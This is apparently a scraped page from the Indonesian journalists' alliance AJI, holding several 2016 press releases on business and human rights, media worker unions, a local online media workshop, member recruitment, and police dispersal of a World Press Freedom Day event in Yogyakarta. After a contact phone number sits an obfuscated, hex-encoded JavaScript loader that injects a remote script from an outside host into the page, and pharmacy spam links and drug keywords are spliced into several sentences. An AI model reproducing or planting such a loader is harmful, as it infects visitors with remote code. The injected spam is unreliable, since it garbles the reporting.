Jurnalis Mendalami Kewajiban Sektor Bisnis Menghormati Hak Asasi Manusia

Pekanbaru – Hak asasi manusia (HAM) merupakan hak dasar yang melekat pada setiap manusia sejak lahir, untuk menjaga martabat dan kesetaraan tanpa terkecuali. Tanggung jawab utama pemenuhan (to fulfill), penghargaan (to respect), perlindungan (to protect), dan mengupayakan (to promote) HAM ada di tangan aparatur negara, menggunakan instrument kebijakan dan hukum yang dimiliki.

Kewajiban melindungi hak asasi tersebut tidak hanya pada wilayah sipil dan politik tapi juga wilayah ekonomi, yang beririsan dengan kelompok bisnis. Kerangka otoratif pada United Nations Guiding Principles on Business and Human Rights (UNGP) mengdopsi secara rinci kewajiban-kewajiban dan tanggung jawab baik negara maupun sektor bisnis.

“Untuk mengatasi berbagai macam permasalahan yang terkait dengan dampak-dampak pemenuhan hak asasi manusia (HAM) pada sektor bisnis,” kata Sinthia Dewi Harkrisnowo, Project Manager Business and Human Rights, Oxfam Indonesia, pemateri Workshop Bisnis dan HAM untuk jurnalis yang diselenggaraan Aliansi Jurnalis Independen (AJI) bekerja sama dengan INFID dan Oxfam dengan dukungan European Union (EU), Jumat 18/11).

Workshop yang diikuti 30 jurnalis dari berbagai daerah seperti Medan, Pontianak, Jawa Timur, Jakarta, Aceh, Pekanbaru, Bengkulu, dan Jambi, Rabu-Jumat (16-18/11) di Pekanbaru. Workshop ini bagian dari Festival Media AJI 2016.

Kerangka UNGP, kata Sinthia, menekankan pada tiga pilar: kewajiban negara melindungi HAM, kewajiban perusahaan menghormati HAM dan akses pemulihan bagi masyarakat yang mengalami dampak aktivitas perusahaan.

Sektor bisnis atau perusahaan-perusahaan memiliki kewajiban untuk melakukan Uji Tuntas HAM. Hasilnya akan menggambarkan identifikasi dampak kewajiban-kewajiban perusahaan dalam upaya melakukan penghormatan terhadap HAM khususnya masyarakat di sekitar wilayah operasional perusahaan ataupun masyarakat yang terkena dampak dari operasi bisnis tersebut.

Perusahaan perlu terlibat karena Mukadimah Deklarasi Universal HAM menyatakan semua organ masyarakat harus mengusahakan, mempromosikan penghormatan atas hak dan kebebasan, menjaga sifat universal, pengakuan dan penghormatan efektif atas HAM di setiap wilayah negaranya. Pelaku usaha adalah salah satu organ masyarakat.

Pasal 1(6) UU No. 39 tahun 1999 tentang Hak Asasi Manusia menyatakan pelanggaran HAM adalah setiap perbuatan seseorang atau kelompok orang termasuk aparat negara baik disengaja maupun tidak disengaja atau kelalaian. Kata “kelompok orang” tersebut dapat dikategorikan termasuk “korporasi”. Dalam konteks bisnis, pasal tersebut memperkuat dasar untuk menekankan tanggung jawab HAM pelaku usaha.

Terkait dengan lingkungan hidup, UU No. 23 Tahun 1997 tentang Pengelolaan Lingkungan Hidup memuat pertanggungjawaban pidana bagi perusahaan/korporasi yang berbuat merusak dan atau mencemarkan lingkungan hidup (Pasal 41 s/d pasal 46). Perusakan dan atau pencemaran lingkungan hidup berpotensi menimbulkan pelanggaran HAM. “EU baru mengadopsi kesepakatan bersama negara-negara anggota tentang komitmen mengadopsi UNGP tidak hanya di internal negara mereka tapi juga hubungan denmarkapotek.com/kob-billig-cialis-piller-online-under-recept/ dengan negara lain. Konteks Indonesia, isu utama agar membuat country HAM strategis,” kata Saiti Gusrini, Programme Manager European Instrument for Democracy and Human Rights (EIDHR), European Union dalam sambutannya.

Pengaduan masyarakat ke Komisi Nasional (Komnas) HAM terkait pelanggaran HAM, perusahaan menduduki peringkat kedua selama tiga tahun berturut-turut.

untitled

Sinthia menambahkan keterlibatan pelaku usaha dalam menegakkan HAM dalam semua dimensi, dapat memberi keuntungan bagi perusahaan. Perusahaan tidak hanya mendapat reputasi yang baik, semangat kerja dan motivasi yang lebih baik dari para pekerja karena produktifitas lebih tinggi. “Dapat menekan biaya dari konflik berkepanjangan,” kata Sinthia.

Sementara itu Mugiyanto, Senior Program Officer for Human Rights and Democracy (INFID), mengatakan instrument UNGP dapat menjadi acuan utama untuk memperkaya dan memperdalam isu HAM bagi jurnalis.

Ketua AJI Indonesia Suwarjono mengatakan jurnalis mempunyai peran penting untuk mendorong dan mengedukasi pelaku usaha terlibat dalam penegakan HAM dan masyarakat tahu haknya. “Workshop ini bagian dari peningkatan kapasitas jurnalis,” katanya.

Kontak Person:
Y. Hesthi Murthi/ AJI (087888839543)

Salam Hangat,

*Yekthi Hesthi Murthi
Ketua Bidang Perempuan dan Kelompok Marjinal
Aliansi Jurnalis Independen (AJI) Indonesia
HP : 087888839543 (WA) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Pekerja Media di Bengkulu Bersepakat untuk Berserikat

Sebanyak 15 pekerja media di Provinsi Bengkulu bersepakat untuk membentuk serikat pekerja media. Kesepakatan ini merupakan salah satu hasil dari Training on Organizing the Unorganized bertemakan “Pekerja Media Bersatu, Bersepakatlah” yang diselenggarakan oleh AJI dan FNV di Hotel Santika Bengkulu, 20 – 21 Agustus 2016.

“Kami memandang perlu dan penting, serta bersepakata dan berkomitmen untuk membentuk serikat pekerja media di Bengkulu,” kata Ketua tim formatur serikat pekerja media Bengkulu, H. Christopher, di Bengkulu, Minggu (21/8).

Serikat pekerja media dibentuk untuk memperjuangkan, membela dan melindungi hak-hak dan kepentingan para pekerja media. Serikat ini dibentuk tidak hanya untuk mewadahi jurnalis, tetapi semua pekerja media seperti pekerja di bidang periklanan, percetakan, sirkulasi, teknologi informasi dan lainnya di perusahaan media.

“Kamis (1/9), kami akan bertemu untuk membahas lebih lanjut. Kami juga akan ajak teman-teman pekerja media lainnya untuk hadir dan terlibat,” tambah Christopher.

Training yang difasilitasi oleh Firmansyah ini menghadiri 4 narasumber. Yakni, Sasmito dari Forum Serikat Pekerja Media Independen, Yudie Thirzano dari Bidang Serikat Pekerja AJI Indonesia, Dedi Zulmi dari Konfederasi Serikat Pekerja Seluruh Indonesia Bengkulu/Dewan Pengupahan Bengkulu, dan Firnandes Maurisya dari LBH Respublica/Pengacara Publik Perburuhan. Training diikuti pekerja media di Provinsi Bengkulu, Lampung, Palembang dan Jambi.

Dalam training terungkap sedikitnya 15 masalah pekerja media. Meliputi kerja ganda, tidak ada jaminan sosial, tidak ada jaminan kesehatan, upah/gaji belum layak, upah/gaji telat dibayar, jam kerja tidak berbatas, tanpa kontrak kerja, kerja di luar daerah tidak didukung dana, tidak ada jaminan keselamatan, tidak ada asuransi, intervensi penguasa, tidak ada perlindungan hukum, tidak ada fasilitas peningkatan kapasitas, hak cuti tidak diberikan dan tidak ada perlindungan hukum.

“Minimnya dorongan pemerintah untuk mengedukasi para pekerja media untuk membentuk serikat pekerja media dan persepsi kurang tepat dari pemilik media juga terungkap sebagai dua hambatan utama sehingga belum adanya serikat pekerja media di Bengkulu dan daerah lainnya. Dua hambatan ini penting untuk menjadi perhatian pemerintah, khususnya,” Ketua AJI Bengkulu Dedek Hendry.

AJI Bengkulu Gelar Workshop Serikat Pekerja Media

“Pekerja Media Bersatu, Berserikatlah”

Era Pekerja media multitalents (banyak keahlian) semakin bertumbuh di tengah suburnya era digital dan internet dewasa ini. Praktik korvegensi yang ekspansif secara bisnis koorporasi, menuntut beban kerja tambahan bagi pekerja media. Namun sayang, beban kerja tambahan tak diikuti oleh peningkatan kesejahteraan.

Misalnya satu media yang awalnya cetak atau TV namun karena menggejalanya media online maka hadir pula versi online. Beban kerja jurnalis semakin bertambah, perkembangan industri media tak berbanding lurus dengan kesejahteraan jurnalis atau pekerja media.

Perkembangannya selama ini lebih tak berbanding lurus lagi dengan tumbuhnya serikat pekerja di suatu media. Kondisi inilah yang ikut mendorong jurnalis rentan dan gampang disetir pemilik media karena posisinya yang lemah.

Berdasarkan pendataan yang dilakukan Aliansi Jurnalis Independen (AJI) dan FSPM Independen, hingga kini jumlah media yang memiliki serikat pekerja sekitar 38 di seluruh Indonesia. Dari jumlah itu, yang serikat pekerjanya aktif sekitar 24 serikat pekerja. Kalau pun dibuat survei terbaru, kita mungkin pesimis hanya merangkak naik sedikit.

Kurang eksisnya pekerja media berserikat, boleh jadi kesadaran yang masih minim, serta masih lemah membangun sistem manajemen yang baik, kurang kecakapan mengorganisir, mengakomodir anggota, dan belum mumpuni dalam hal bernegosiasi. Situasi ini diperparah lagi oleh adanya resistensi, baik diam-diam atau terbuka, dari pemilik media atau pun cara berpikir jurnalis sendiri.

Penolakan itu, sebagian besar–kalau bukan seluruhnya—karena kekhawatiran manajemen media yang sangat berlebihan terhadap keberadaan serikat pekerja. Sikap anti-serikat pekerja media ini ditunjukkan melalui berbagai cara,mulai dari yang “halus” sampai “kasar”. Inilah yang menjadi momok penghalang pekerja media berserikat. Padahal serikat pekerja adalah amanat Undang-Undang No 13 Tahun 2003 tentang Serikat Pekerja/Buruh.

Di ambang mata, kita tetap akan menghadapi persoalan yang makin kompleks di lingkungan industrial. Sebut saja beban tambahan kerja tadi yang tak dibarengi peningkatan kesejahteraan. Kemudian masalah jaminan asuransi kesehatan, keselamatan, jaminan sosial, dan upah yang layak.

Temuan AJI, masih banyak media yang menggaji jurnalisnya di bawah angka upah minimum kota (UMK) yang telah ditetapkan oleh pemerintah. Praktek ini terutama banyak terjadi di daerah. Mengapa upah, jaminan sosial/kesehatan, dan keselamatan? Karena mestinya semua berdampak pada kualitas dan mutu jurnalistik.

Pada kasus lain, hubungan kerja kontraktual dengan perusahaan masih belum menemukan bentuk yang ideal, pola saling menguntungkan antara perusahaan dengan pekerja media. Selain itu, sering juga pekerja media tak berdaya menghadapi persengketaan dengan perusahaanya. Mereka selalu berada dalam posisi yang lemah dan dikalahkan. Melihat kondisi semacam ini, maka perlu menumbuhkan kesadaran untuk berserikat. Juga dibutuhkan penguatan bagi serikat pekerja yang sudah ada. Sebab, dengan berserikat posisi tawar pekerja media menjadi kuat. Seturut itu pula, serikat pekerja media mampu berperan penting dalam memperjuangkan hak dan kepentingan para pekerja media.

Training on Organizing the Unorganized, dengan tema ‘Pekerja Media Bersatu, Berserikatlah’ salah satu cara Aliansi Jurnalis Independen (AJI) dan FNV dalam memupuk kesadaran, membangun persatuan, dan memperkuat pekerja media mengelola serikat pekerjanya.

Tujuan Workshop:
a. Memberikan pemahaman yang komprehensif tentang fungsi serikat pekerja di media.
b. Memberikan gambaran yang memadai tentang tantangan aktual yang dihadapi serikat pekerja
media dan para aktifisnya.
c. Memberikan panduan praktis tentang bagaimana mengorganisir serikat pekerja media.
d. Memberikan panduan praktis tentang bagaimana menjadi aktivis serikat pekerja media.
e. Menghasilkan kader-kader yang akan menginisiasi serikat pekerja di media.
Narasumber :
Sekretaris Aji Kota Bengkulu Phesi Ester Julikawati

Ini Langkah Awal AJI Gandeng Media Online Lokal Untuk Eksplorasi Lokalitas

Praktisi Media Online Lokal di Indonesia, diharapkan lebih mengeksplore informasi lokal secara mendalam, detail dan menarik. Terlebih setelah mengikutiWorkshop ‘Membuat Konten Bagi Media Online Lokal’. Ini diungkapkan Ketua Aliansi Jurnalis Independen (AJI) Bandar Lampung,  Padli Ramdan di Hotel Whize Prime, Jalan Ahmad Yani, Bandar Lampung.

Dilanjutkannya, karena selama ini masyarakat untuk mencari informasi lokal, misal komoditi pertanian seperti kakao, kopi, levitra 10 mg jarang sekali didapatkan. Yang didapat hanya informasi sebatas  data-data statistik.

“Diharapkan dengan adanya pelatihan ini media lokal bisa lebih mengemas informasi lokal yang lebih panjang, menarik dan lebih rinci (Informatif). Bukan cuma data statistik yang mati,” lanjutnya.

Yang pasti, sambungnya lagi, workshop ini sebagai langkah awal bagi praktisi media lokal online bagaimana membuat konten-konten media yang menarik yang memiliki nilai jual lokalitas. Dan hal ini dikoordinir oleh AJI untuk kemudian disebarkan ke jejaring berita seperti Babe, Kurio yang selama ini mencari konten-konten lokal yang menarik. “Karena selama ini info-info menarik di lokal daerah ini tertutup dengan isu nasional,” tutupnya.

Workshop yang diselenggarakan AJI Bandar Lampung dan Independen.id juga didukung AJI Indonesia – D&P Canada – CFI France, Jumat, (5/8/2016) dan Sabtu (6/8/2016). Workshopdiselenggarakan secara pararel di kota lainnya seperti Yogyakarta, Purwokerto, Denpasar dan Malang. Masing-masing kota penyelenggara dilaksanakan selama dua hari dan selaku trainer adalah Sabine Torres, pendiri dan Direktur Dijonscpoe.com France. Di Lampung, pesertaworkshop dihadiri 15 orang yang merupakan kalangan jurnalis dari berbagai media online lokal setempat termasuk 2 orang diantaranya dari Jurnalis Online di Provinsi Bengkulu.[**]

 

Penulis

Aji Asmuni – Anggota Bidang Organisasi Aliansi Jurnalis Independen Bengkulu

Rekrutmen Anggota Baru AJI Bengkulu

Bersamaan dengan ini kami dari AJI Bengkulu, memberi kesempatan kepada kalangan jurnalis di wilayah Bengkulu untuk bisa bergabung dengan AJI Bengkulu.

Adapun syaratnya :
1. Jurnalis di wilayah Kabupaten dan Kota di Bengkulu. Baik cetak nasional/lokal, online lokal/nasional, tv lokal/nasional.

Profesi jurnalis yang dimaksud, reporter, perwarta foto, video journalist, juru kamera, editor/redaktur, kurator berita, produser siaran berita, editor foto berita, editor video berita, periset berita, kolumnis, ilustrator berita, karikaturis, pharmacieprincipale24 perancang grafis berita, pengecek fakta, penulis cuplikan berita di Tv dan jejaring sosial, pembaca berita di Tv dan radio, Jangkar berita (News Anchor) dan jurnalis warga.

2. Mengisi formulir yang telah disediakan AJI Bengkulu.

3. Mendapatkan rekomendasi tiga orang anggota AJI Bengkulu

4. Formulir dapat diambil di Sekretariat AJI Bengkulu atau menghubungi Ketua Bidang Organisasi AJI Bengkulu, Demon Fajri. Hp. 0813-7385-5152

5. Untuk lebih lengkap mengenai syarat menjadi anggota silahkan datang langsung ke Sekretariat AJI Bengkulu atau menghubungi Ketua Bidang Organisasi AJI Bengkulu, Demon Fajri. Hp. 0813-7385-5152

6. Pendaftaran tidak dikenakan biaya/gratis.

7. Pendaftaran dibuka sejak Jumat 27 Mei hingga 11 Juni 2016.

8. Pengembalian formulir paling lambat 12 Juni 2016.

Atas perhatiannya kami ucapkan terimakasih.

Kasus Yogyakarta Coreng Indonesia di Kancah Internasional

Pembubaran peringatan Hari Kebebasan Pers Sedunia atau World Press Freedom Day (WPFD) 2016 yang digelar AJI Yogyakarta oleh Polisi Resort (Polres) Yogyakarta, mencoreng Indonesia di kancah internasional. Tindakan itu justru memperburuk ranking kebebasan pers dan kebebasan berekspresi di Indonesia. AJI Indonesia mengecam keras sikap kepolisian yang gagal memberikan rasa aman bagi terselenggaranya peringatan WPFD 2016 di Yogyakarta, yang juga dirayakan serentak di seluruh dunia.

“Di saat seluruh dunia memperingati Hari Kebebasan Pers, justru terjadi proses penginjak-injakan hak atas kebebasan pers dan kebebasan berekspresi di Yogyakarta. Ranking kebebasan pers Indonesia akan semakin terpuruk karena tindakan sekelompok orang yang memaksakan kehendak. Kelompok antipluralisme, intoleran ini seakan dibiarkan dan sehingga aksi mereka terus terulang,” kata Ketua Umum AJI Indonesia Suwarjono di Jakarta, Rabu (4/5/2015).

Apalagi, tindakan sewenang-wenang polisi itu terjadi setahun, sebelum Indonesia akan menjadi tuan rumah pelaksanaan World Press Freedom Day pada 2017 mendatang.

Suwarjono menambahkan, polisi gagal memberikan rasa aman warga negara yang menyelenggarakan kegiatan secara konsitusional.

“Pembubaran acara oleh kepolisian dengan alasan ada sekelompok masyarakat yang berbeda pendapat menunjukkan aparat kepolisian diskriminatif. Banyak aktifitas lainnya yang mati-matian dibela polisi. Dari penggusuran hingga acara pejabat negara, meski mendapat penolakan, demonstrasi kelompok masyarakat, tetap bisa berlangsung. Polisi menjaga, mengamankan aktifitas hingga selesai. Kenapa bila kami yang menyelenggarakan acara, dengan dalih ada penolakan sekelompok warga kami tidak dijaga. Justru dibubarkan,” kata Suwarjono.

Peristiwa pembubaran acara peringatan WPFD 2016 itu terjadi Selasa malam. Ketika itu, puluhan jurnalis dan aktivis gerakan masyarakat sipil di Yogyakarta menggelar acara di sekretariat AJI Yogyakarta, di Jl. Pakel Baru UH 6/1124 Umbulharjo, Yogyakarta.

Pada Selasa sore, saat persiapan acara dilakukan, tujuh polisi berpakaian preman dari Polisi Sektor (Polsek) Umbulharjo, dipimpin oleh Kasatintelkam Polresta Yogyakarta, Kompol Wahyu Dwi Nugroho, didampingi oleh Anggota Koramil Umbulharjo, mendatangani sekretariat AJI Yogyakarta untuk menanyakan izin acara yang sedianya akan dihadiri oleh Kapolda DIY, Brigjend Polisi Prasta Wahyu Hidayat dan Kapolresta Yogyakarta, Prihartono Eling Lelakon.

Keduanya secara resmi diundang AJI Yogyakarta

Langkah polisi mempertanyakan hal perizinan itu adalah pintu masuk untuk mempersoalan rencana pemutaran film “Pulau Buru Tanah Air Beta,” karya Rahung Nasution dalam acara itu. Pihak kepolisian meminta pemutaran film itu dibatalkan karena ada sejumlah kelompok masyarakat yang tidak setuju dengan rencana itu. Ketua AJI Yogyakarta, Anang Zakaria menolak permintaan polisi, sembari menjelaskan, film “Pulau Buru Tanah Air Beta,” adalah film dokumenter biasa.

Polisi menolak penjelasan itu, dan tetap bersikukuh agar acara itu dihentikan. Tekanan kepada AJI Yogyakarta sebagai penyelenggara kembali terjadi, beberapa saat setelah acara dibuka. Kepala Bagian Operasional Polresta Yogyakarta, Kompol Sigit Haryadi, datang ke lokasi acara dan menyelonong masuk untuk mencari penanggung jawab Køb Lovegra viagra piller til kvinder online acara. “Kapolda DIY memerintahkan kegiatan ini harus dibubarkan,” Kompol Sigit Haryadi.

Tak lama kemudian, datanglah puluhan massa dari salah satu organisasi massa di Yogyakarta. Kedatangan mereka memperkeruh suasana, karena berteriak-teriak di depan sekretariat AJI Yogyakarta. Massa melakukan provokasi dengan melontarkan tuduhan, acara itu disusupi kelompok partai terlarang. Saat kondisi semakin tidak terkendali, satu truk yang mengangkut polisi bersenjata lengkap, mendekati lokasi acara.

Di sela-sela kondisi yang semakin panas, Kompol Sigit Haryadi secara demonstratis meminta peserta peringatan WPFD 2016 untuk meninggalkan lokasi acara. “Kawan-kawan tamu yang diundang, silakan pergi meninggalkan tempat. Saya tidak bisa menjamin apa yang akan terjadi setelah ini,” kata Sigit, yang juga pernah melarang AJI Yogyakarta memutar film Senyap pada 2014 lalu. Namun, massa bergeming, dan tetap berada di lokasi.

“Kalau rekan-rekan mencintai Yogyakarta tolong hentikan, saya tidak mau ada konflik fisik. Tidak ada faktor X, saya hanya ingin kondusif. Mari kita angkat city of tolerance. Kami sarankan kegiatan untuk dihentikan,” kata Sigit kepada hadirin. “Kegiatan ini harus dibubarkan,” tegasnya. Karena perdebatan mengarah ke situasi yang semakin emosional, Ketua AJI Yogyakarta, Anang Zakaria, minta agar pihak kepolisian yang secara resmi membubarkan acara.

AJI Indonesia, sebagai induk organisasi AJI, akan melakukan gugatan hukum kepada Polri atas kasus pembubaran acara itu. “Kami tengah menggodok rencana untuk menggugat Polri atas peristiwa itu. Hal-hal semacam ini tidak bisa dibiarkan,” kata Iman D. Nugroho, Ketua Bidang Advokasi AJI Indonesia.

Pembubaran itu juga menambah panjang tindakan represi yang dilakukan atas ungkapan ekspresi warga negara, dalam hal ini, AJI Yogyakarta. Jaminan hak asasi manusia dalam kemerdekaan menjalankan ekspresikan diatur dalam Pasal 19 DUHAM dan Pasal 28F Undang-undang Dasar 1945. “Di dalam dua aturan itu mengatur hak untuk memperoleh informasi dan hak untuk menyebarluaskan informasi atau berekspresi,” jelas Iman.

“Ini juga menambah panjang daftar kekerasan yang dilakukan kepolisian RI yang saat peringatan WPFD kemarin dinobatkan sebagai musuh kebebasan pers. Ini penghargaan untuk ke-5 bagi polisi sejak penghargaan ini diadakan tahun 2007,” kata Iman.

Jakarta, 4 Mei 2016

Ketua Umum AJI Indonesia Suwarjono
0818758624

Ketua Bidang Advokasi Iman D Nugroho
08165443718

‪AJI Ingatkan Perbedaan Sebagai Hak Warga Negara‬

ALIANSI JURNALIS INDEPENDEN

Maraknya berbagai tindakan represi beberapa kelompok masyarakat atas ungkapan ekspresi kelompok yang lain yang dianggap “berbeda”, adalah bentuk pelanggaran hak konstitusi warga negara. Hal itu didasari oleh buruknya pemahaman akan toleransi.‬

Hal itu dikatakan Ketua AJI Indonesia, Suwarjono di sela-sela peringatan Hari Kebebasan Pers Internasional atau World Press Freedom Day 2016, Selasa (3/5/2016). “Karena itulah, dalam peringatan World Press Freedom Day 2016 kali ini, AJI mengusung tema Berbeda itu Hak!, sebagai langkah awal untuk membangun kembali pemahaman publik akan toleransi dan kebhinekaan Indonesia,” kata Suwarjono.‬

Jaminan hak asasi manusia, jelas Suwarjono, diatur dalam Pasal 19 DUHAM dan P6sal 28F Undang-undang Dasar 1945. Di dalamnya, mencakup dua hal mendasar, yaitu hak untuk memperoleh informasi dan hak untuk menyebarluaskan informasi atau berekspresi. “Pemenuhan hak itu menjadi jalan untuk memastikan dan menuntut negara memenuhi hak asasi manusia lainnya,” kata Suwarjono.‬

‪Hak dasar itu justru kerap kali diabaikan oleh negara. Salah satu bentuknya adalah yang terjadi belakangan ini. Ketika berbagai ekspresi yang “berbeda” kerap kali gagal karena tindakan intoleran kelompok warga yang lain. Baru-baru ini, misalnya, pemutaran film “Pulau Buru Tanah Air Beta” karya sutradara Rahung Nasution, secara terpaksa dibatalkan. Kepolisian Sektor Metro Menteng menyatakan tidak menjamin keamanan penyelenggara terkait rencana demonstrasi salah satu organisasi kemasyarakatan yang menolak pemutaran film tersebut. Tahun lalu, polisi juga membiarkan aksi sweeping yang dilakukan organisasi kemasyarakatan terhadap para undangan Penganugerahan Federasi Teater Indonesia Award di Taman Ismail Marzuki Jakarta.‬

‪Pemasungan kebebasan berekspresi juga terjadi dalam kasus pembacaan naskah lokakarya penulisan naskah teater Festival Teater Jakarta pada 2015, seminar empat pilar NKRI yang akan dilaksanakan komunitas Respect and Dialogue di Tasikmalaya pada 21 Februari, dan pelaksanaan Festival Belok Kiri di Taman Ismail Marzuki pada 27 Februari. Suwarjono menegaskan represi atas kebebasan berekspresi warga adalah ancaman bagi kebebasan pers dan fungsi pers untuk mengembangkan pendapat umum.‬

“UU Nomor 40 Tahun 1999 memandatkan pers nasional untuk mengembangkan pendapat umum. Kebebasan pers juga membutuhkan kebebasan warga untuk menyatakan pendapatnya kepada pers. Pemidanaan terhadap warga yang berpedapat di media, sebagaimana yang kita temukan dalam kasus pemidanaan komisioner Komisi Yudisial misalnya, akan membuat kebebasan pers kehilangan maknanya. AJI menuntut Kepolisian Republik Indonesia untuk menjamin hak setiap warga negara untuk menyatakan pendapat dan berekspresi, dengan tetap menindak segala bentuk anjuran kekerasan maupun ujaran kebencian rasial ataupun sektarian,” tegas Suwarjono.‬

Kekerasan Berlanjut

‪Dalam peringatan World Press Freedom Day 2016 tahun ini, AJI Indonesia kembali mengingatkan terjadinya berbagai kasus kekerasan terhadap jurnalis di Indonesia. Sepanjang tahun ini, mulai Mei 2015-April 2016, terjadi 39 kasus kekerasan pada jurnalis dalam berbagai bentuk. Seperti pengusiran, pengerusakan alat, hingga kekerasan fisik.‬

AJI Indonesia mencatat, dari 39 kasus itu, kekerasan pada jurnalis terbanyak dilakukan oleh warga dengan 17 kasus. Pada urutan kedua, dengan jumlah 11 kasus, ditempati oleh polisi dan ketiga pejabat pemerintah 8 kasus. Pelaku lainnya masing-masing satu kasus dilakukan oleh TNI, satpol PP dan pelaku tidak dikenal. Tahun 2015 lalu, pelaku kekerasan terbanyak dilakukan oleh polisi dengan 14 kasus, diikuti warga dengan 9 kasus dan pejabat pemerintah 8 kasus. “Ini ironis, karena polisi yang seharusnya melindungi kerja jurnalistik yang dilindungi UU Pers, justru menempati urutan kedua pelaku kekerasan,” kata Ketua Bidang Advokasi, Iman D. Nugroho. Maraknya kekerasan oleh warga, jelas Iman, adalah efek buruk dari pembiaran yang dilakukan oleh kepolisian.‬

‪Sejak AJI Indonesia menganugerahkan polisi sebagai musuh kebebasan pers tahun 2015 lalu, hingga kini belum tampak ada perubahan. Polisi gagal mereformasi diri sebagai pelayan dan pengayom publik. Desakan AJI agar kepolisian mengusut tuntas kasus pembunuhan delapan jurnalis yang hingga kini belum diketahui pelakunya hingga kini belum ada tindak lanjut. Delapan jurnalis yang tewas karena pemberitaan tersebut adalah Muhammad Fuad Syahfrudin alias Udin (jurnalis Harian bernas Yogyakarta tewas tahun 1996), Naimullah (jurnalis Harian Sinar Pagi, Kalimantan Barat tewas 25 Juli 1997), Agus Mulyawan (jurnalis Asia Press tewas di Timor-Timur, 25 September 1999), Muhammad Jamaludin (jurnalis TVRI di Aceh, tewas 17 Juni 2003), Ersa Siregara (jurnalis RCTI tewas 29 Desember 2003), Herliyanto (jurnalis tabloid Delta Pos, tewas 29 April 2006), Adriansyah Matra’is Wibisono (jurnalis TV lokal Merauke, tewas 29 Juli 2010), dan Alfred Mirulewan (jurnalis tabloid Pelangi, Maluku, ditemukan tewas 18 Desember 2010).‬

Kepolisian juga mendapat sorotan sepanjang tahun 2015-2016 karena gagal melindungi hak warga negara dalam menyampaikan pendapat atau ekspresi. Sejumlah kasus pembubaran diskusi, pemutaran film, dan penyampaian eskpresi lainnya oleh kelompok intoleran terkesan ada pembiaran. “Polisi seharusnya melindungi hak warga negara yang mempunyai pendapat berbeda atau keyakinan dengan kelompok lain. Bukan dibiarkan,” kata Iman.‬

Ranah kebebasan bereskpresi juga tengah mendapat ancaman serius setelah lebih dari 170 kasus kriminalisasi karena dilaporkan melanggar Undang- undang Informatika dan Transaksi Elektronik (ITE). Warga yang menjadi korban karena mengeluarkan pendapat melalui ranah internet ini terus bertambah. Bahkan sejumlah kasus kriminalisasi, adalah narasumber berita yang selama ini menyuarakan sikapnya melalui media. “Peran polisi menegakkan hukum terkait kasus-kasus kebebasan berekspresi dan kebebasan berpendapat telah gagal. Maka AJI Indonesia menetapkan polisi musuh kebebasan pers 2016,” kata Iman. Ini untuk kelima kali polisi menjadi musuh kebebasan pers sejak pertama kali dihelat tahun 2007.‬

‪Kondisi buruknya penanganan di atas, tidak mengherankan bila kebebasan pers dan kebebasan berekspresi di Indonesia sudah sampai pada taraf mengkhawatirkan, dalam 10 tahun terakhir. Indonesia dalam kebebasan pers dan berekpresi terbaru menurut data World Press Freedom Index 2016 yang dirilis Reporters Sans Frontiers (Prancis) menyebutkan berada di posisi merah. Dalam ranking 130 dari 180 negara. “Posisi ini bahkan berada di bawah Timor Leste, Taiwan dan India,” katanya.‬

Selain itu, organisasi yang memonitor kebebasan pers dunia, Freedom House menilai, kehadiran undang-undang yang membatasi kebebasan berpendapat dan pers, seperti UU Informasi dan Transaksi Elektronik, UU Intelijen dan RUU Kerahasiaan Negara, membuat Indonesia masuk dalam kelompok “partly free” atau tidak sepenuhnya bebas.‬

“Akses jurnalis asing untuk meliput di Papua menjadi salah satu penyebab penilaian bahwa kebebasan pers di Indonesia belum sepenuhnya berjalan. Hal ini harus terus diingatkan dan dipahami, salah satunya, dalam momentum peringatan World Press Freedom Day 2016 ini,” kata Iman.‬

Pada 1993, Sidang Umum Perserikatan Bangsa-bangsa menetapkan 3 Mei sebagai hari untuk memeringati prinsip dasar kemerdekaan pers, demi mengukur kebebasan pers di seluruh Internasional. Sejak itu, 3 Mei diperingati demi mempertahankan kebebasan media dari serangan atas independensi dan memberikan penghormatan kepada para jurnalis yang meninggal dalam menjalankan profesinya.‬

3 Mei menjadi hari untuk mendorong inisiatif publik untuk turut memperjuangkan kemerdekaan pers. Hari Kebebasan Pers Sedunia juga menjadi momentum untuk mengingatkan pemerintah untuk menghormati komitmennya terhadap kemerdekaan pers. Pada 3 Mei ini pula, komunitas pers di seluruh dunia akan mempromosikan prinsip-prinsip dasar kebebasan pers dan untuk memberikan penghormatan kepada para wartawan yang gugur dalam tugas.‬

Peringatan Hari Kebebasan Pers Sedunia pada 3 Mei 2016 bertepatannya WPFD dengan peringatan 250 tahun keberadaan undang-undang kebebasan informasi di wilayah yang meliputi Swedia dan Finlandia. Untuk menggemakan hal itu, UNESCO menetapkan “Akses atas Informasi dan Kebebasan Fundamental—Ini Hak Anda!” sebagai tema internasional WPFD 2016.‬

Pekerja Perempuan di Media Massa Masih Banyak Alami Diskriminasi

 

